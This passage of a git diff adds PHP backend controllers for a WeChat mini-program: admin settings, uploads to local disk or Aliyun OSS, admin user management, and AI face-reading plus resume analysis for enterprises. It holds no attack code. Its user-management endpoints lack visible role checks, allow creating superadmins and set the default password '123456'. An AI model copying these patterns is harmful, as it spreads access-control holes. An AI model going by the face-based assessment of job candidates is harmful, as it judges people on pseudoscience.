$textConfigData = $globalTc + ? array_merge($tcDefaults, array_intersect_key($globalTc, $tcDefaults)) + : $tcDefaults; + + // 企业专属文案 + 小程序名称 覆盖 + if ($eid > 0) { + $eidTc = self::getConfig('text_config', $eid); + if ($eidTc) { + $textConfigData = array_merge($textConfigData, array_intersect_key($eidTc, $tcDefaults)); + if (!empty($eidTc['miniprogramName'])) { + $miniprogramName = (string) $eidTc['miniprogramName']; + } + } + } + + return success([ + 'miniprogramName' => $miniprogramName, + 'textConfig' => $textConfigData, + ]); + } catch (\Exception $e) { + return error('获取配置失败:' . $e->getMessage(), 500); + } + } + + /** + * 更新小程序配置 + * 写入 text_config 行:enterprise_id={eid}(有企业)或 0(无企业) + * PUT /api/v1/admin/settings/miniprogram + */ + public function updateMiniprogramConfig() + { + $user = $this->request->user ?? null; + if (!$user || !in_array($user['role'], ['admin', 'enterprise_admin'])) { + return error('无权限访问', 403); + } + + $rawBody = $this->request->getContent(); + if (empty($rawBody)) { + $rawBody = file_get_contents('php://input'); + } + $input = $rawBody ? json_decode($rawBody, true) : null; + if (!is_array($input)) { + $input = [ + 'miniprogramName' => Request::param('miniprogramName', ''), + 'textConfig' => Request::param('textConfig', []), + ]; + } + + $miniprogramName = trim((string) ($input['miniprogramName'] ?? '')); + $textConfig = $input['textConfig'] ?? []; + + if ($miniprogramName === '') { + return error('小程序名称不能为空', 400); + } + + $tcKeys = ['analyzingTitle', 'startButtonText', 'startButtonEnterprise', 'reportTitle', 'aiAnalysisText']; + $tcDefaults = [ + 'analyzingTitle' => '正在分析中', + 'startButtonText' => '开始面相测试', + 'startButtonEnterprise' => '开始面部测试', + 'reportTitle' => '分析报告', + 'aiAnalysisText' => '智能分析', + ]; + $tcData = is_array($textConfig) ? array_intersect_key($textConfig, array_flip($tcKeys)) : []; + $tcMerge = array_merge($tcDefaults, $tcData); + $eid = (int)($user['enterpriseId'] ?? 0); + + try { + // eid=0:更新 site_info 的小程序名称(全局) + if ($eid === 0) { + $siteRow = Db::name('system_config')->where('key', 'site_info')->where('enterprise_id', 0)->find(); + $siteInfo = $siteRow && !empty($siteRow['value']) + ? (is_string($siteRow['value']) ? json_decode($siteRow['value'], true) : $siteRow['value']) + : []; + $siteInfo = is_array($siteInfo) ? $siteInfo : []; + $siteInfo['miniprogramName'] = $miniprogramName; + $siteInfo['siteName'] = $siteInfo['siteName'] ?? $miniprogramName; + $siteInfo['updatedAt'] = time(); + self::saveConfig('site_info', $siteInfo, 0, '站点信息'); + } else { + // 企业专属:把 miniprogramName 一并写入 text_config + $tcMerge['miniprogramName'] = $miniprogramName; + } + + // 统一写到 text_config(企业行已含 miniprogramName,全局行不含) + self::saveConfig('text_config', $tcMerge, $eid, $eid > 0 ? "小程序文案配置(企业{$eid})" : '小程序文案配置(全局)'); + return success([ + 'miniprogramName' => $miniprogramName, + 'textConfig' => $tcMerge, + ], '小程序配置已保存'); + } catch (\Exception $e) { + return error('保存失败:' . $e->getMessage(), 500); + } + } + + /** + * 更新管理员账户信息 + * @return \think\response\Json + */ + public function updateCredentials() + { + $user = $this->request->user ?? null; + + if (!$user) { + return error('未登录', 401); + } + + // 验证是否为管理员 + if (!in_array($user['role'], ['admin', 'enterprise_admin'])) { + return error('无权限访问', 403); + } + + // 兼容 axios JSON PUT 与表单提交 + $rawBody = $this->request->getContent(); + if (empty($rawBody)) { + $rawBody = file_get_contents('php://input'); + } + $input = $rawBody ? json_decode($rawBody, true) : null; + if (!is_array($input)) { + $input = []; + } + + $username = trim((string)($input['username'] ?? Request::param('username', ''))); + $currentPassword = (string)($input['currentPassword'] ?? Request::param('currentPassword', '')); + $newPassword = (string)($input['newPassword'] ?? Request::param('newPassword', '')); + $confirmPassword = (string)($input['confirmPassword'] ?? Request::param('confirmPassword', '')); + + if (empty($username)) { + return error('用户名不能为空', 400); + } + + try { + // 优先使用JWT中的username来查找用户 + $jwtUsername = $user['username'] ?? null; + + if (empty($jwtUsername)) { + return error('无法获取用户信息,请重新登录', 400); + } + + // 直接通过username查找用户 + $userModel = UserModel::where('username', $jwtUsername) + ->whereIn('role', ['admin', 'enterprise_admin']) + ->find(); + + if (!$userModel) { + return error('用户不存在,请检查登录状态', 404); + } + + // 如果要修改密码,需要验证当前密码 + if (!empty($newPassword)) { + if (empty($currentPassword)) { + return error('请输入当前密码', 400); + } + + if ($newPassword !== $confirmPassword) { + return error('两次输入的密码不一致', 400); + } + + // 验证当前密码(User 模型已有原始加密密码) + if (!password_verify($currentPassword, $userModel->password)) { + return error('当前密码错误', 400); + } + + // 更新密码:传入明文,交由 User 模型的 setPasswordAttr 自动加密 + $userModel->password = $newPassword; + } + + // 更新用户名 + if ($username !== $userModel->username) { + // 检查用户名是否已存在(排除当前用户) + $exists = UserModel::where('username', $username) + ->where('id', '<>', $userModel->id) + ->find(); + + if ($exists) { + return error('用户名已存在', 400); + } + + $userModel->username = $username; + } + + $userModel->save(); + + return success([ + 'username' => $userModel->username + ], '账户信息已更新'); + } catch (\Exception $e) { + return error('更新失败:' . $e->getMessage(), 500); + } + } +} + diff --git a/api/app/controller/admin/Upload.php b/api/app/controller/admin/Upload.php new file mode 100644 index 0000000..0930d95 --- /dev/null +++ b/api/app/controller/admin/Upload.php @@ -0,0 +1,347 @@ +extension()); + $fileSize = $file->getSize(); + + if (!in_array($extension, $allowExts, true)) { + return error('不支持的文件类型,仅支持:jpg、jpeg、jfif、png、gif、webp、heic'); + } + + if ($fileSize > $maxSize) { + return error('文件过大,最大支持 5MB'); + } + + $config = config('upload'); + $driver = $config['driver'] ?? 'oss'; + + try { + if ($driver === 'oss') { + $result = $this->uploadToOss($file, $config['oss'] ?? []); + } else { + $result = $this->uploadToLocal($file, $config['local'] ?? []); + } + } catch (\Throwable $e) { + return error('上传失败:' . $e->getMessage()); + } + + return success($result, '上传成功'); + } + + /** + * 上传文件(简历等,可包含图片 / PDF / Word) + * @return \think\response\Json + */ + public function file() + { + $file = Request::file('file'); + + if (!$file) { + return error('未找到上传文件'); + } + + // 基本校验:大小 & 类型(放宽为 10MB) + $maxSize = 10 * 1024 * 1024; // 10MB + $allowExts = ['jpg', 'jpeg', 'png', 'gif', 'webp', 'pdf', 'doc', 'docx']; + $extension = strtolower($file->extension()); + $fileSize = $file->getSize(); + + if (!in_array($extension, $allowExts, true)) { + return error('不支持的文件类型,仅支持:jpg、jpeg、png、gif、webp、pdf、doc、docx'); + } + + if ($fileSize > $maxSize) { + return error('文件过大,最大支持 10MB'); + } + + $config = config('upload'); + $driver = $config['driver'] ?? 'oss'; + + try { + if ($driver === 'oss') { + $result = $this->uploadToOss($file, $config['oss'] ?? []); + } else { + $result = $this->uploadToLocal($file, $config['local'] ?? []); + } + } catch (\Throwable $e) { + return error('上传失败:' . $e->getMessage()); + } + + return success($result, '上传成功'); + } + + /** + * 本地上传 + */ + protected function uploadToLocal($file, array $config): array + { + $root = $config['root'] ?? (app()->getRootPath() . 'public/uploads'); + $driver = 'local'; + + // 先计算文件哈希,用于去重 + $hash = md5_file($file->getPathname()); + $mimeType = $this->getFileMimeSafe($file); + $size = $file->getSize(); + $extension = strtolower($file->extension()); + + // 如果已存在相同文件(同一驱动 + hash),直接返回 + $exists = UploadFile::where(['hash' => $hash, 'driver' => $driver])->find(); + if ($exists) { + return [ + 'path' => $exists->path, + 'url' => $exists->url, + 'id' => $exists->id, + ]; + } + + // 子目录:按 年/月 分目录,例如 2025/12 + $year = date('Y'); + $month = date('m'); + $subDir = $year . DIRECTORY_SEPARATOR . $month; + $dir = rtrim($root, DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR . $subDir; + + if (!is_dir($dir) && !mkdir($dir, 0755, true) && !is_dir($dir)) { + throw new \RuntimeException('创建上传目录失败'); + } + + $filename = uniqid('img_', true) . '.' . $extension; + + // 保存文件 + $file->move($dir, $filename); + + // web 访问路径使用 / 分隔,例如 uploads/2025/12/xxx.jpg + $relativePath = 'uploads/' . $year . '/' . $month . '/' . $filename; + $urlPrefix = rtrim($config['url'] ?? '', '/'); + + // 如果未配置,使用 API 域名(生产环境:api.737270.com) + if (!$urlPrefix) { + $apiDomain = env('API_DOMAIN', 'https://api.737270.com'); + $urlPrefix = rtrim($apiDomain, '/'); + } + + $url = $urlPrefix . '/' . $relativePath; + + // 记录上传信息 + $record = new UploadFile(); + $record->path = $relativePath; + $record->url = $url; + $record->driver = $driver; + $record->hash = $hash; + $record->size = $size; + $record->mimeType = $mimeType; + $record->extension = $extension; + $record->save(); + + return [ + 'path' => $relativePath, + 'url' => $url, + 'id' => $record->id, + ]; + } + + /** + * 上传到阿里云 OSS + * 完全参考 BaseCrawler.php 的实现 + */ + protected function uploadToOss($file, array $config): array + { + if (!class_exists('\OSS\OssClient')) { + throw new \RuntimeException('未安装 Aliyun OSS SDK,请先执行:composer require aliyuncs/oss-sdk-php'); + } + + // 参考 database.php 的配置读取方式,直接从 config 读取(config 已通过 env() 读取 .env) + $accessKeyId = $config['access_key_id'] ?? ''; + $accessKeySecret = $config['access_key_secret'] ?? ''; + $endpoint = $config['endpoint'] ?? ''; + $bucket = $config['bucket'] ?? ''; + $prefix = trim($config['prefix'] ?? 'mbti', '/'); + $baseUrl = rtrim($config['url'] ?? '', '/'); + + // 如果未配置 OSS_URL,自动使用 OSS 自带域名:https://{bucket}.{endpoint} + if (empty($baseUrl) && !empty($bucket) && !empty($endpoint)) { + // 移除 endpoint 中的协议前缀(如果有) + $endpointClean = preg_replace('#^https?://#', '', $endpoint); + $baseUrl = 'https://' . $bucket . '.' . $endpointClean; + } + + if (empty($accessKeyId) || empty($accessKeySecret) || empty($endpoint) || empty($bucket)) { + throw new \RuntimeException('OSS 配置不完整,请在 .env 文件中配置 OSS_ACCESS_KEY_ID、OSS_ACCESS_KEY_SECRET、OSS_ENDPOINT、OSS_BUCKET(OSS_URL 可选,不配置则使用 OSS 自带域名)'); + } + + $driver = 'oss'; + $extension = strtolower($file->extension()); + $hash = md5_file($file->getPathname()); + $size = $file->getSize(); + $mimeType = $this->getFileMimeSafe($file); + + // 先查重(完全参考 BaseCrawler.php) + try { + $exists = UploadFile::where(['hash' => $hash, 'driver' => $driver])->find(); + if ($exists) { + $tempFilePath = $file->getPathname(); + if (file_exists($tempFilePath)) { + @unlink($tempFilePath); + } + $latestUrl = $baseUrl . '/' . ltrim($exists->path, '/'); + if ($exists->url !== $latestUrl) { + $exists->url = $latestUrl; + $exists->save(); + } + return [ + 'path' => $exists->path, + 'url' => $latestUrl, + 'id' => $exists->id, + ]; + } + } catch (\Exception $e) { + // 查重失败不影响上传流程 + } + + $object = $prefix . '/' . date('Ymd') . '/' . uniqid('img_', true) . '.' . $extension; + + // 保存并临时清除代理设置(完全参考 BaseCrawler.php) + // 如果 putenv 函数可用则使用,否则跳过代理处理 + $putenvAvailable = function_exists('putenv'); + $originalHttpProxy = false; + $originalHttpsProxy = false; + $originalHttpProxyVar = false; + $originalHttpsProxyVar = false; + + if ($putenvAvailable) { + $originalHttpProxy = getenv('HTTP_PROXY'); + $originalHttpsProxy = getenv('HTTPS_PROXY'); + $originalHttpProxyVar = getenv('http_proxy'); + $originalHttpsProxyVar = getenv('https_proxy'); + + \putenv('HTTP_PROXY='); + \putenv('HTTPS_PROXY='); + \putenv('http_proxy='); + \putenv('https_proxy='); + } + + try { + $client = new \OSS\OssClient($accessKeyId, $accessKeySecret, $endpoint); + + if (!$client->doesBucketExist($bucket)) { + throw new \RuntimeException("OSS Bucket '{$bucket}' 不存在或无法访问"); + } + + $client->uploadFile($bucket, $object, $file->getPathname()); + } finally { + // 恢复代理设置(完全参考 BaseCrawler.php) + if ($putenvAvailable) { + if ($originalHttpProxy !== false) { + \putenv('HTTP_PROXY=' . $originalHttpProxy); + } else { + \putenv('HTTP_PROXY'); + } + if ($originalHttpsProxy !== false) { + \putenv('HTTPS_PROXY=' . $originalHttpsProxy); + } else { + \putenv('HTTPS_PROXY'); + } + if ($originalHttpProxyVar !== false) { + \putenv('http_proxy=' . $originalHttpProxyVar); + } else { + \putenv('http_proxy'); + } + if ($originalHttpsProxyVar !== false) { + \putenv('https_proxy=' . $originalHttpsProxyVar); + } else { + \putenv('https_proxy'); + } + } + } + + // 上传成功后,删除本地临时文件(完全参考 BaseCrawler.php) + $tempFilePath = $file->getPathname(); + if (file_exists($tempFilePath)) { + @unlink($tempFilePath); + } + + // 生成文件访问 URL(完全参考 BaseCrawler.php) + $ossUrl = $baseUrl . '/' . ltrim($object, '/'); + + // 记录上传信息(完全参考 BaseCrawler.php,try-catch 包裹) + try { + $record = new UploadFile(); + $record->path = $object; + $record->url = $ossUrl; + $record->driver = $driver; + $record->hash = $hash; + $record->size = $size; + $record->mimeType = $mimeType; + $record->extension = $extension; + $record->save(); + } catch (\Exception $e) { + // 记录失败不影响返回 URL + } + + return [ + 'path' => $object, + 'url' => $ossUrl, + 'id' => $record->id ?? 0, + ]; + } + + /** + * 安全获取文件 MIME:服务器未开 fileinfo 扩展时用扩展名推断,避免 finfo_open() 报错 + */ + protected function getFileMimeSafe($file): string + { + if (function_exists('finfo_open')) { + try { + return $file->getMime() ?: $this->mimeByExtension($file->extension()); + } catch (\Throwable $e) { + return $this->mimeByExtension($file->extension()); + } + } + return $this->mimeByExtension($file->extension()); + } + + private function mimeByExtension(string $ext): string + { + $ext = strtolower($ext ?: ''); + $map = [ + 'jpg' => 'image/jpeg', + 'jpeg' => 'image/jpeg', + 'jfif' => 'image/jpeg', + 'jpe' => 'image/jpeg', + 'png' => 'image/png', + 'gif' => 'image/gif', + 'webp' => 'image/webp', + 'bmp' => 'image/bmp', + 'heic' => 'image/heic', + 'heif' => 'image/heif', + 'pdf' => 'application/pdf', + 'doc' => 'application/msword', + 'docx' => 'application/vnd.openxmlformats-officedocument.wordprocessingml.document', + ]; + return $map[$ext] ?? 'application/octet-stream'; + } +} diff --git a/api/app/controller/admin/User.php b/api/app/controller/admin/User.php new file mode 100644 index 0000000..355ca2c --- /dev/null +++ b/api/app/controller/admin/User.php @@ -0,0 +1,206 @@ +request->user ?? null; + if (!$user) { + return error('未登录', 401); + } + + $page = Request::param('page', 1); + $pageSize = Request::param('pageSize', 10); + $keyword = Request::param('keyword', ''); + $role = Request::param('role', ''); + $status = Request::param('status', ''); + + $where = []; + if ($keyword) { + $where[] = ['username|email|phone', 'like', '%' . $keyword . '%']; + } + if ($role) { + $where['role'] = $role; + } + if ($status !== '') { + $where['status'] = $status; + } + + // 根据角色过滤 + if (($user['role'] ?? '') === 'enterprise_admin') { + // 企业管理员只能查看自己企业的用户 + $where['enterpriseId'] = $user['enterpriseId'] ?? null; + } else { + // 普通管理员可以查看所有管理员(不包括超级管理员) + $where[] = ['role', 'in', ['admin', 'enterprise_admin']]; + } + + $list = UserModel::where($where) + ->order('createdAt', 'desc') + ->page($page, $pageSize) + ->select(); + + $total = UserModel::where($where)->count(); + + return paginate_response($list, $total, $page, $pageSize); + } + + /** + * 获取用户详情 + * @param int $id + * @return \think\response\Json + */ + public function detail($id) + { + $user = UserModel::find($id); + if (!$user) { + return error('用户不存在', 404); + } + + $userData = $user->toArray(); + unset($userData['password']); + + return success($userData); + } + + /** + * 创建用户 + * @return \think\response\Json + */ + public function create() + { + $data = Request::post(); + + // 检查用户名是否已存在 + if (UserModel::where('username', $data['username'])->find()) { + return error('用户名已存在'); + } + + // 检查邮箱是否已存在 + if (!empty($data['email']) && UserModel::where('email', $data['email'])->find()) { + return error('邮箱已被注册'); + } + + // 验证角色(只允许管理员角色) + $allowedRoles = ['admin', 'enterprise_admin', 'superadmin']; + $role = $data['role'] ?? 'admin'; + if (!in_array($role, $allowedRoles)) { + return error('角色必须是管理员类型', 400); + } + + $user = new UserModel(); + $user->username = $data['username']; + $user->password = $data['password'] ?? '123456'; // 默认密码 + $user->email = $data['email'] ?? ''; + $user->phone = $data['phone'] ?? ''; + $user->role = $role; + $user->enterpriseId = $data['enterpriseId'] ?? $data['enterprise_id'] ?? null; + $user->status = $data['status'] ?? 1; + $user->save(); + + $userData = $user->toArray(); + unset($userData['password']); + + return success($userData, '创建成功'); + } + + /** + * 更新用户 + * @param int $id + * @return \think\response\Json + */ + public function update($id) + { + $user = UserModel::find($id); + if (!$user) { + return error('用户不存在', 404); + } + + $data = Request::put(); + + // 如果更新用户名,检查是否重复 + if (isset($data['username']) && $data['username'] != $user->username) { + if (UserModel::where('username', $data['username'])->find()) { + return error('用户名已存在'); + } + } + + // 如果更新邮箱,检查是否重复 + if (isset($data['email']) && $data['email'] != $user->email) { + if (!empty($data['email']) && UserModel::where('email', $data['email'])->find()) { + return error('邮箱已被注册'); + } + } + + // 如果更新密码 + if (isset($data['password'])) { + $user->password = $data['password']; // 会自动加密 + } + + $user->save($data); + + $userData = $user->toArray(); + unset($userData['password']); + + return success($userData, '更新成功'); + } + + /** + * 删除用户(软删除) + * @param int $id + * @return \think\response\Json + */ + public function delete($id) + { + $user = UserModel::find($id); + if (!$user) { + return error('用户不存在', 404); + } + + // 检查是否已删除 + if ($user->deletedAt) { + return error('用户已被删除', 400); + } + + // 不能删除自己 + $currentUser = $this->request->user ?? null; + if ($currentUser && ($currentUser['userId'] ?? $currentUser['user_id'] ?? null) == $id) { + return error('不能删除自己', 400); + } + + // 软删除(设置 deletedAt 时间戳) + $user->delete(); + return success(null, '删除成功'); + } + + /** + * 启用/禁用用户 + * @param int $id + * @return \think\response\Json + */ + public function toggleStatus($id) + { + $user = UserModel::find($id); + if (!$user) { + return error('用户不存在', 404); + } + + $user->status = $user->status == 1 ? 0 : 1; + $user->save(); + + return success($user, '操作成功'); + } +} + diff --git a/api/app/controller/api/Analyze.php b/api/app/controller/api/Analyze.php new file mode 100644 index 0000000..7fc4ac2 --- /dev/null +++ b/api/app/controller/api/Analyze.php @@ -0,0 +1,1534 @@ +request); + if ($earlyToken) { + $earlyPayload = JwtService::verifyToken($earlyToken); + if ($earlyPayload && ($earlyPayload['source'] ?? '') === 'wechat') { + $earlyUserId = (int) ($earlyPayload['user_id'] ?? $earlyPayload['userId'] ?? 0); + } + } + // 三个变量各司其职(同 Test::submit 逻辑): + // $enterpriseId —— 仅企业测试(请求体传入)才非 null,决定走 admin_enterprise 定价 + // $pricingEnterpriseId —— 个人测试时从 wechat_users 取,走 admin_personal + eid 定价 + // $writeEnterpriseId —— 写入 test_results.enterpriseId(企业测试 or 绑定企业都记录) + $pricingEnterpriseId = $enterpriseId; + $writeEnterpriseId = $enterpriseId; + if ($enterpriseId === null && $earlyUserId > 0) { + $boundEid = Db::name('wechat_users')->where('id', $earlyUserId)->value('enterpriseId'); + if (!empty($boundEid)) { + $pricingEnterpriseId = (int) $boundEid; // admin_personal + eid + $writeEnterpriseId = (int) $boundEid; // 历史记录展示企业名 + } + } + + if (empty($photoUrls)) { + return error('请上传至少一张人脸照片', 400); + } + + $provider = AiProviderModel::where('enabled', 1) + ->whereRaw('(visible IS NULL OR visible = 1)') + ->whereRaw('(apiKey IS NOT NULL AND LENGTH(TRIM(apiKey)) > 0)') + ->order('id', 'asc') + ->find(); + + if (!$provider) { + return error('暂无可用的 AI 服务,请联系管理员配置', 503); + } + + $apiKey = $provider->getRawApiKey(); + + if (empty($apiKey)) { + return error('AI 服务未配置有效密钥', 503); + } + + // 前置人脸检测:将全部上传图片一次性发给 AI 判断,不通过则立即返回,不进行完整分析 + if (!$this->quickFaceCheck($photoUrls, $provider, $apiKey)) { + return error('图片中未检测到人脸,请重新拍摄清晰的正面照片', 422); + } + + // 企业版:拉取用户已完成的 MBTI/PDP/DISC 测试数据 + 简历(默认或最新),拼入 prompt 供 AI 交叉验证 + $existingTestContext = ''; + $resumeImageUrl = ''; + if ($enterpriseId !== null && $earlyUserId > 0) { + try { + $latestTests = TestController::getLatestResultsForResume($earlyUserId, $enterpriseId); + $resumeText = ''; + $resumeFileUrl = ''; + // 从 enterprise_resume_uploads 读取简历:优先默认,无则最新 + $resumeQuery = Db::name('enterprise_resume_uploads')->where('userId', $earlyUserId)->where('enterpriseId', $enterpriseId); + $defaultUpload = (clone $resumeQuery)->where('is_default', 1)->order('createdAt', 'desc')->find(); + $resumeUpload = $defaultUpload ?: $resumeQuery->order('createdAt', 'desc')->find(); + if ($resumeUpload && !empty($resumeUpload['fileUrl'])) { + $resumeFileUrl = $resumeUpload['fileUrl']; + // PDF/docx 提取文本入 prompt;图片需作为 image_url 传入才能被 AI 读取;doc 仅提供文件名 + $resumeText = $this->extractResumeFileText($resumeFileUrl); + $ext = strtolower(pathinfo(parse_url($resumeFileUrl, PHP_URL_PATH) ?? '', PATHINFO_EXTENSION)); + if (in_array($ext, ['jpg', 'jpeg', 'png', 'gif', 'webp'], true)) { + $resumeImageUrl = $resumeFileUrl; + } + } + $ctx = $this->buildResumeContext($latestTests, $resumeText, $resumeFileUrl); + if ($ctx !== '') { + $existingTestContext = $ctx; + } + } catch (\Throwable $e) { + // 拉取失败不阻塞分析 + } + } + + try { + $result = $this->callAiAnalyze($provider, $apiKey, $photoUrls, $enterpriseId, $existingTestContext, $resumeImageUrl); + } catch (\Throwable $e) { + Log::warning('faceAnalyze: AI 调用失败 ' . $e->getMessage()); + return error('AI 分析失败:' . $e->getMessage(), 500); + } + + // 完整分析中 AI 再次确认无人脸(双重保障) + if (!empty($result['_noFace'])) { + return error('图片中未检测到人脸,请重新拍摄清晰的正面照片', 422); + } + + // 将用户上传的图片 URL 一并写入结果,方便 mbti_test_results 保留原始图片记录 + $storePayload = $result; + if (is_array($storePayload)) { + // 若模型结果中尚未包含 photoUrls,则追加一份 + if (!isset($storePayload['photoUrls'])) { + $storePayload['photoUrls'] = $photoUrls; + } + } + + // 当前标准定价(分)与是否需要付费 + // $enterpriseId=非null 时走企业版定价;=null 时走个人版定价(含绑定企业的 admin_personal) + $standardAmountFen = $this->getStandardAmountByTestType('face', $enterpriseId, $pricingEnterpriseId); + $requiresPayment = $standardAmountFen > 0 ? 1 : 0; + + // 有 token 时顺带写入测试记录,避免小程序多请求一次 /api/test/submit + $testResultId = null; + $token = JwtService::getTokenFromRequest($this->request); + if ($token) { + $payload = JwtService::verifyToken($token); + if ($payload && ($payload['source'] ?? '') === 'wechat') { + $userId = (int) ($payload['user_id'] ?? $payload['userId'] ?? 0); + if ($userId > 0) { + try { + $now = time(); + + $testResultId = Db::name('test_results')->insertGetId([ + 'userId' => $userId, + 'enterpriseId' => $writeEnterpriseId, + 'testScope' => $enterpriseFromRequest ? 'enterprise' : 'personal', + 'testType' => 'face', + 'resultData' => is_string($storePayload) ? $storePayload : json_encode($storePayload, JSON_UNESCAPED_UNICODE), + 'score' => null, + 'orderId' => null, + 'requiresPayment' => $requiresPayment, + 'isPaid' => 0, + 'paidAmount' => $standardAmountFen > 0 ? $standardAmountFen : null, + 'paidAt' => null, + 'createdAt' => $now, + 'updatedAt' => $now, + ]); + + if ($testResultId) { + UserProfileModel::recordTest($userId, 'face', $testResultId, $writeEnterpriseId, $now); + // 仅当 enterpriseId 来自请求体(企业分享链接)时才更新绑定关系 + if ($enterpriseFromRequest && $enterpriseId !== null && $enterpriseId > 0) { + Db::name('wechat_users')->where('id', $userId)->update([ + 'enterpriseId' => $enterpriseId, + 'updatedAt' => $now, + ]); + } + // 面相分析由本接口直接写入 test_results,也要补触发测试完成佣金 + try { + \app\controller\api\Distribution::settleTestCommission($testResultId, $userId, 'face'); + } catch (\Throwable $e) { + // 分销失败不影响主流程 + } + } + } catch (\Throwable $e) { + // 写入失败不影响返回分析结果 + } + } + } + } + + // 构造返回给前端的 payload(不影响入库的原始结果) + $responsePayload = is_array($storePayload) ? $storePayload : []; + + // 前端可直接使用的付费信息(避免二次请求 runtime) + $responsePayload['_payment'] = [ + 'requiresPayment' => $requiresPayment, + 'amountFen' => $standardAmountFen, + 'amountYuan' => $standardAmountFen > 0 ? round($standardAmountFen / 100, 2) : 0, + ]; + + // 若该类型需付费才显示完整报告:返回给前端的也做脱敏,与详情/历史一致(只显示部分,付费后从详情接口拿完整) + if ($requiresPayment) { + $responsePayload['faceAnalysis'] = null; + $responsePayload['boneAnalysis'] = null; + } + + // 把本次测试记录ID一起返回,便于解锁后通过 /api/test/detail 拉取完整数据 + if ($testResultId) { + $responsePayload['_testResultId'] = $testResultId; + } + + return success($responsePayload); + } + + /** + * 简历综合分析:基于当前用户人脸、MBTI、PDP、DISC 四种测试的最近一次结果,拼接后调用 AI 生成综合分析(纯文本) + * POST api/analyze/resume 需登录(wechat) + */ + public function resumeAnalysis() + { + $user = $this->request->user ?? null; + if (!$user || ($user['source'] ?? '') !== 'wechat') { + return error('请先登录', 401); + } + $userId = (int) ($user['user_id'] ?? $user['userId'] ?? 0); + if ($userId <= 0) { + return error('请先登录', 401); + } + + $input = Request::post(); + $resumeText = trim((string) ($input['resumeText'] ?? $input['resume'] ?? '')); + $fileUrl = trim((string) ($input['fileUrl'] ?? '')); + + // 当前企业:优先用请求体传入,其次用用户绑定企业(需在简历自动读取之前确定 enterpriseId) + $enterpriseIdFromRequest = isset($input['enterpriseId']) && (int) $input['enterpriseId'] > 0; + $enterpriseId = $enterpriseIdFromRequest ? (int) $input['enterpriseId'] : 0; + if ($enterpriseId <= 0) { + $boundEid = Db::name('wechat_users')->where('id', $userId)->value('enterpriseId'); + $enterpriseId = !empty($boundEid) ? (int) $boundEid : 0; + } + + // 前端未传简历时,自动从 enterprise_resume_uploads 读取:优先取默认简历,无则取最新 + if ($resumeText === '' && $fileUrl === '') { + $resumeQuery = Db::name('enterprise_resume_uploads')->where('userId', $userId); + if ($enterpriseId > 0) { + $resumeQuery = $resumeQuery->where('enterpriseId', $enterpriseId); + } + $defaultUpload = (clone $resumeQuery)->where('is_default', 1)->order('createdAt', 'desc')->find(); + $resumeUpload = $defaultUpload ?: $resumeQuery->order('createdAt', 'desc')->find(); + if ($resumeUpload && !empty($resumeUpload['fileUrl'])) { + $fileUrl = $resumeUpload['fileUrl']; + } + } + + // 尝试从 OSS/远程 URL 拉取文件并提取文本(PDF 做基础提取,其他格式只记录文件名) + if ($fileUrl !== '' && $resumeText === '') { + $resumeText = $this->extractResumeFileText($fileUrl); + } + + // 定价检查:企业版走 admin_enterprise,否则走 admin_personal + $pricingEnterpriseId = $enterpriseId > 0 ? $enterpriseId : null; + $standardAmountFen = $this->getStandardAmountByTestType('resume', $pricingEnterpriseId, $pricingEnterpriseId); + $requiresPayment = $standardAmountFen > 0 ? 1 : 0; + + $latest = TestController::getLatestResultsForResume($userId, $enterpriseId > 0 ? $enterpriseId : null); + // face/ai 暂不计入,有 MBTI / DISC / PDP 任意一项即可视为有测试数据 + $hasTests = $latest['mbti'] !== null || $latest['disc'] !== null || $latest['pdp'] !== null; + $hasAnySource = $hasTests || $resumeText !== '' || $fileUrl !== ''; + if (!$hasAnySource) { + return error('暂无可用于分析的信息,请先上传简历或完成至少一项测试', 422); + } + + $userContext = $this->buildResumeContext($latest, $resumeText, $fileUrl); + // 仅统计 MBTI / DISC / PDP 是否齐全(face/ai 暂不参与) + $hasAllFour = $latest['mbti'] !== null && $latest['disc'] !== null && $latest['pdp'] !== null; + $systemPrompt = $this->getReportSummaryPrompt($hasAllFour, $hasTests); + $provider = AiProviderModel::where('enabled', 1) + ->whereRaw('(visible IS NULL OR visible = 1)') + ->whereRaw('(apiKey IS NOT NULL AND LENGTH(TRIM(apiKey)) > 0)') + ->order('id', 'asc') + ->find(); + if (!$provider) { + return error('暂无可用的 AI 服务,请联系管理员配置', 503); + } + $apiKey = $provider->getRawApiKey(); + if (empty($apiKey)) { + return error('AI 服务未配置有效密钥', 503); + } + + $rawContent = $this->callResumeAi($provider, $apiKey, $systemPrompt, $userContext); + + // 尝试解析 AI 返回的结构化 JSON;失败时降级为纯文本兼容格式 + $parsed = null; + $stripped = trim($rawContent); + // 去掉 AI 可能包裹的 markdown 代码块 + if (preg_match('/```(?:json)?\s*([\s\S]+?)\s*```/', $stripped, $m)) { + $stripped = $m[1]; + } + $decoded = json_decode($stripped, true); + if (is_array($decoded) && isset($decoded['overview'])) { + $parsed = $decoded; + $parsed['fileUrl'] = $fileUrl; + } + $resultStruct = $parsed ?? ['content' => $rawContent, 'fileUrl' => $fileUrl]; + + // 将分析结果持久化到 test_results,供历史记录、统计、分销使用 + $now = time(); + $resultData = json_encode($resultStruct, JSON_UNESCAPED_UNICODE); + $testResultId = 0; + try { + $testResultId = (int) Db::name('test_results')->insertGetId([ + 'userId' => $userId, + 'enterpriseId' => $enterpriseId > 0 ? $enterpriseId : null, + 'testScope' => $enterpriseId > 0 ? 'enterprise' : 'personal', + 'testType' => 'resume', + 'resultData' => $resultData, + 'requiresPayment' => $requiresPayment, + 'isPaid' => $requiresPayment ? 0 : 1, + 'paidAmount' => $standardAmountFen > 0 ? $standardAmountFen : null, + 'paidAt' => null, + 'orderId' => null, + 'createdAt' => $now, + 'updatedAt' => $now, + ]); + + if ($testResultId > 0) { + UserProfileModel::recordTest($userId, 'resume', $testResultId, $enterpriseId > 0 ? $enterpriseId : null, $now); + // 如果是企业分享链接进入,更新用户绑定关系 + if ($enterpriseIdFromRequest && $enterpriseId > 0) { + Db::name('wechat_users')->where('id', $userId)->update([ + 'enterpriseId' => $enterpriseId, + 'updatedAt' => $now, + ]); + } + } + } catch (\Throwable $e) { + Log::error('resumeAnalysis: save test_result failed ' . $e->getMessage()); + } + + // 触发分销佣金(noPayment 场景;有价格时走支付回调结算) + if ($testResultId > 0) { + try { + \app\controller\api\Distribution::settleTestCommission($testResultId, $userId, 'resume'); + } catch (\Throwable $e) {} + } + + $responseData = $resultStruct; + $responseData['_testResultId'] = $testResultId; + $responseData['_payment'] = [ + 'requiresPayment' => $requiresPayment, + 'amountFen' => $standardAmountFen, + 'amountYuan' => $standardAmountFen > 0 ? 